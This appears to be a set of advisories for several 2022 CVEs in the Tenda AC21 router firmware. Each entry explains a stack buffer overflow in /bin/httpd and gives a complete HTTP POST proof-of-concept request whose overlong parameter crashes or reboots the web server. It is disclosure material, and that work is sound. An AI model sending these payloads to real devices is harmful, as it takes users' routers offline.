Tenda AC21 V 16.03.08.15 is vulnerable to Buffer Overflow via /bin/httpd, saveParentControlInfo.

**Tenda AC21(V16.03.08.15) contains stack Buffer Overflow Vulnerability****overview**

*   Manufacturer's website information：https://www.tenda.com.cn/
*   Firmware download address: https://www.tenda.com.cn/download/detail-3419.html

**product information**

Tenda A21(V16.03.08.15), latest version of simulation overview：

**description****1\. Vulnerability Details**

Tenda AC21(V16.03.08.15) contains a stack overflow vulnerability in file /bin/httpd, functionsaveParentControlInfo  .

This vulnerability allows attackers to cause a Denial of Service (DoS) via the time parameter.

In function saveParentControlInfo, it calls compare_parentcontrol_time(a1), the vulnerability is in this function.

It calls sscanf(s, “%[^-]-%s”, v3, v4) and v4 is on the stack, so there is a buffer overflow vulnerability.

**2\. Recurring loopholes and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/saveParentControlInfo HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 137
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/main.html
    Accept-Encoding: gzip, deflate
    Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
    Cookie: password=25d55ad283aa400af464c76d713c07adwfrcvb
    Connection: close
    
    time=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%2daaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

CVE-2022-40073: Vuln/Tenda AC21/5 at main · xxy1126/Vuln

Tenda AC21 V 16.03.08.15 is vulnerable to Buffer Overflow via /bin/httpd, form_fast_setting_wifi_set.

**Tenda AC21(V16.03.08.15) contains Stack Buffer Overflow Vulnerability****overview**

*   Manufacturer's website information：https://www.tenda.com.cn/
*   Firmware download address: https://www.tenda.com.cn/download/detail-3419.html

**product information**

Tenda A21(V16.03.08.15), latest version of simulation overview：

**description****1\. Vulnerability Details**

Tenda AC21(V16.03.08.15) contains a stack overflow vulnerability in file /bin/httpd, functionform_fast_setting_wifi_set

In this function, it calls sub_441F30(a1) and the vulnerability is in sub_441F30

In sub_441F30() , it calls sscanfto read strings in v5 which we can control through POST parameter timeZone. It doesn’t check the length of v5, and the v8, v9 is on the stack, so there is a stack overflow vulnerability.

**2\. Recurring loopholes and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/fast_setting_wifi_set HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 484
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/system_time.html?random=0.9865714904007963&
    Accept-Encoding: gzip, deflate
    Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
    Connection: close
    
    ssid=1&timeZone=1:1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

CVE-2022-40075: Vuln/Tenda AC21/1 at main · xxy1126/Vuln

Tenda AC21 V16.03.08.15 is vulnerable to Buffer Overflow via /bin/httpd, function: fromSetWifiGusetBasic.

**Tenda AC21(V16.03.08.15) contains Stack Buffer Overflow Vulnerability****overview**

*   Manufacturer's website information：https://www.tenda.com.cn/
*   Firmware download address: https://www.tenda.com.cn/download/detail-3419.html

**product information**

Tenda A21(V16.03.08.15), latest version of simulation overview：

**description****1\. Vulnerability Details**

Tenda AC21(V16.03.08.15) contains a stack overflow vulnerability in file /bin/httpd, functionfromSetWifiGusetBasic

Attacker can use this vulnerability via theshareSpeed parameter.

it calls strcpy(v12, v7) and v12 is on the stack, so there is a stack buffer overflow vulnerability.

**2\. Recurring loopholes and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/WifiGuestSet HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 23
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/system_time.html?random=0.9865714904007963&
    Accept-Encoding: gzip, deflate
    Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
    Connection: close
    
    shareSpeed=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
    

By sending this poc, we can cause httpd reboot.

CVE-2022-40076: Vuln/Tenda AC21/4 at main · xxy1126/Vuln

Tenda AC21 V16.03.08.15 is vulnerable to Buffer Overflow via /bin/httpd, function: formSetQosBand.

**Tenda AC21(V16.03.08.15) contains Stack Buffer Overflow Vulnerability****overview**

*   Manufacturer's website information：https://www.tenda.com.cn/
*   Firmware download address: https://www.tenda.com.cn/download/detail-3419.html

**product information**

Tenda A21(V16.03.08.15), latest version of simulation overview：

**description****1\. Vulnerability Details**

Tenda AC21(V16.03.08.15) contains a stack overflow vulnerability in file /bin/httpd, functionformSetQosBand

Attackers can cause this vulnerability via parameter list

In function formSetQosBand, it calls set_qosMib_list and pass v2 to it.

In function set_qosMib_list, it calls strcpy(v8, s), v8 is on the stack, so there is a buffer overflow vulnerability.

**2\. Recurring loopholes and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/SetNetControlList HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 879
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/system_time.html?random=0.08852963756997312&
    Accept-Encoding: gzip, deflate
    Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
    Cookie: password=25d55ad283aa400af464c76d713c07aduufcvb
    Connection: close
    
    list=1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
    

By sending this poc, we can makehttpd reboot

CVE-2022-40068: Vuln/Tenda AC21/10 at main · xxy1126/Vuln

Tenda AC21 V 16.03.08.15 is vulnerable to Buffer Overflow via /bin/httpd, function: formSetVirtualSer.

**Tenda AC21(V16.03.08.15) contains Stack Buffer Overflow Vulnerability****overview**

*   Manufacturer's website information：https://www.tenda.com.cn/
*   Firmware download address: https://www.tenda.com.cn/download/detail-3419.html

**product information**

Tenda A21(V16.03.08.15), latest version of simulation overview：

**description****1\. Vulnerability Details**

Tenda AC21(V16.03.08.15) contains a stack overflow vulnerability in file /bin/httpd, functionformSetVirtualSer

Attackers can cause this vulnerability via parameter list

In function formSetVirtualSer, it calls save_virtualser_data and vulnerability is in this function.

In function save_virtualser_data , it calls sscanf to read strings in v9(a2) to parameter on the stack without checking its length , so there is a buffer overflow vulnerability.

**2\. Recurring loopholes and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/SetVirtualServerCfg HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 160
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/system_time.html?random=0.278922737111333&
    Accept-Encoding: gzip, deflate
    Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
    Cookie: password=25d55ad283aa400af464c76d713c07adfmbcvb
    Connection: close
    
    list=11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
    

By sending this poc, we can makehttpd reboot

CVE-2022-40067: Vuln/Tenda AC21/9 at main · xxy1126/Vuln

Tenda AC21 V 16.03.08.15 is vulnerable to Buffer Overflow via /bin/httpd, formSetDeviceName.

**Tenda AC21(V16.03.08.15) contains Stack Buffer Overflow Vulnerability****overview**

*   Manufacturer's website information：https://www.tenda.com.cn/
*   Firmware download address: https://www.tenda.com.cn/download/detail-3419.html

**product information**

Tenda A21(V16.03.08.15), latest version of simulation overview：

**description****1\. Vulnerability Details**

Tenda AC21(V16.03.08.15) contains a stack overflow vulnerability in file /bin/httpd, functionformSetDeviceName

In function formSetDeviceName, it calls set_device_name and pass v3, v4 to it.

\\

In set_device_name, it calls sprintf(v4, "%s;1", a1) and a1 is the POST parameter devName , v4 is on the stack, so there is a stack overflow.

**2\. Recurring loopholes and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/SetOnlineDevName HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 264
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/system_time.html?random=0.9865714904007963&
    Accept-Encoding: gzip, deflate
    Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
    Connection: close
    
    mac=9c:fc:e8:da:9c:5b&devName=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

CVE-2022-40071: Vuln/Tenda AC21/2 at main · xxy1126/Vuln

Tenda AC21 V 16.03.08.15 is vulnerable to Buffer Overflow via bin/httpd, function: formSetFirewallCfg.

**Tenda AC21(V16.03.08.15) contains Stack Buffer Overflow Vulnerability****overview**

*   Manufacturer's website information：https://www.tenda.com.cn/
*   Firmware download address: https://www.tenda.com.cn/download/detail-3419.html

**product information**

Tenda A21(V16.03.08.15), latest version of simulation overview：

**description****1\. Vulnerability Details**

Tenda AC21(V16.03.08.15) contains a stack overflow vulnerability in file /bin/httpd, functionformSetFirewallCfg

Attackers can cause this vulnerability via parameter firewallEn

It copies s to v4 which is on the stack, so there is a stack overflow vulnerability.

**2\. Recurring loopholes and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/SetFirewallCfg HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 1364
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/main.html
    Accept-Encoding: gzip, deflate
    Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
    Cookie: password=25d55ad283aa400af464c76d713c07adamlcvb
    Connection: close
    
    firewallEn=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
    

By sending this poc, we can makehttpd reboot

CVE-2022-40070: Vuln/Tenda AC21/8 at main · xxy1126/Vuln

]Tenda AC21 V 16.03.08.15 is vulnerable to Buffer Overflow via /bin/httpd, function: fromSetSysTime.

**Tenda AC21(V16.03.08.15) contains Stack Buffer Overflow Vulnerability****overview**

*   Manufacturer's website information：https://www.tenda.com.cn/
*   Firmware download address: https://www.tenda.com.cn/download/detail-3419.html

**product information**

Tenda A21(V16.03.08.15), latest version of simulation overview：

**description****1\. Vulnerability Details**

Tenda AC21(V16.03.08.15) contains a stack overflow vulnerability in file /bin/httpd, functionfromSetSysTime

In function fromSetSysTime, it calls sub_496104(a1), the vulnerability is in this function.

In sub_496104(a1), it calls sscanf() and the v6, v7 is on the stack, so there is a buffer overflow vulnerability.

**2\. Recurring loopholes and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/SetSysTimeCfg HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 754
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Accept-Encoding: gzip, deflate
    Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
    Cookie: password=25d55ad283aa400af464c76d713c07adhyecvb
    Connection: close
    
    timeType=sync&timeZone=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111%3A11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

CVE-2022-40069: Vuln/Tenda AC21/6 at main · xxy1126/Vuln

Tenda AC21 V 16.03.08.15 is vulnerable to Buffer Overflow via /bin/httpd, function: setSmartPowerManagement.

**Tenda AC21(V16.03.08.15) contains Stack Buffer Overflow Vulnerability****overview**

*   Manufacturer's website information：https://www.tenda.com.cn/
*   Firmware download address: https://www.tenda.com.cn/download/detail-3419.html

**product information**

Tenda A21(V16.03.08.15), latest version of simulation overview：

**description****1\. Vulnerability Details**

Tenda AC21(V16.03.08.15) contains a stack overflow vulnerability in file /bin/httpd, functionsetSmartPowerManagement

Attackers can cause this vulnerability via parameter time

the sscanf function read string from s, and pass to v10 which is on the stack without checking its length, so there is a buffer overflow vulnerability.

**2\. Recurring loopholes and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/PowerSaveSet HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 1087
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/system_time.html?random=0.9241437684734013&
    Accept-Encoding: gzip, deflate
    Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
    Cookie: password=25d55ad283aa400af464c76d713c07adqtucvb
    Connection: close
    
    nptr=0&powerSaveDelay=0&ledCloseType=0&time=11:11-11:11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
    

By sending this poc, we can makehttpd reboot

CVE-2022-40072: Vuln/Tenda AC21/7 at main · xxy1126/Vuln

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The most important and interesting computer security stories from the last week.



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The post A week in security (September 12 – 18) appeared first on Malwarebytes Labs.

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